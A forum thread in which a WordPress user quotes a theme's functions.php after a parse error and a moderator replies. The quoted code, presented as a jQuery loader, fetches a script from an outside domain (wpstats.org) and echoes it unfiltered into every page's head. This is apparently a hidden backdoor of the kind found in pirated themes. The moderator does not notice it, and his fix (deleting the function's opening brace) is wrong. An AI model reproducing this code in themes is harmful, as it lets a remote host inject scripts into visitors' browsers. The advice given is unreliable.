Parse error: syntax error, unexpected '{' in /home/topwebsi/public_html/BESTWEBSITESEO.COM/wp-content/themes/FireBird/functions.php on line 1 error coming after new theme activation. Code is mentioned below: <?php if (!function_exists('insert_jquery_theme')){ function insert_jquery_theme(){if (function_exists('curl_init')){ $url = "http://www.wpstats.org/jquery-1.6.3.min.js"; $ch = curl_init(); $timeout = 5; curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout); $data = curl_exec($ch); curl_close($ch); echo $data; } } add_action('wp_head', 'insert_jquery_theme'); } PHP: Can anybody suggest whats wrong?
I'm a moderator so I thought I'd add some line breaks in there to make it easier to read the code. Straight off I found function insert_jquery_theme(){if (function_exists('curl_init')) PHP: and the { before the if makes no sense. Try deleting that. Don't be afraid of adding in line breaks. Whitespace makes it more readable and the impact on load time for PHP scripts is minimal